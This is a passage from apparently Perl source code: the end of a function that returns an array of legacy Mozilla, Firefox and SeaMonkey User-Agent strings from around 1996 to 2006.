20050609 Firefox/1.0.4",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/
20050711 Firefox/1.0.5",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10)
Gecko/20050716 Firefox/1.0.6",
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB;
rv:1.7.10) Gecko/20050717 Firefox/1.0.6",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12)
Gecko/20050915 Firefox/1.0.7",
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US;
rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko
/20050908 Firefox/1.4",
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US;
rv:1.8b4) Gecko/20050908 Firefox/1.4",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/
20051107 Firefox/1.5",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1)
Gecko/20060111 Firefox/1.5.0.1",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1)
Gecko/20060111 Firefox/1.5.0.1",
"Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/
20051002 Firefox/1.6a1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/
20060321 Firefox/2.0a1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/
20060710 Firefox/2.0b1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/
20060710 Firefox/2.0b2",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/
20060918 Firefox/2.0",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/
20051219 SeaMonkey/1.0b",
"Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/
20060130 SeaMonkey/1.0",
"Mozilla/3.0 (OS/2; U)",
"Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)",
"Mozilla/4.61 (Macintosh; I; PPC)",
"Mozilla/4.61 [en] (OS/2; U)",
"Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)",
"Mozilla/4.8 [en] (Windows NT 5.0; U)" );
return(@ret);
}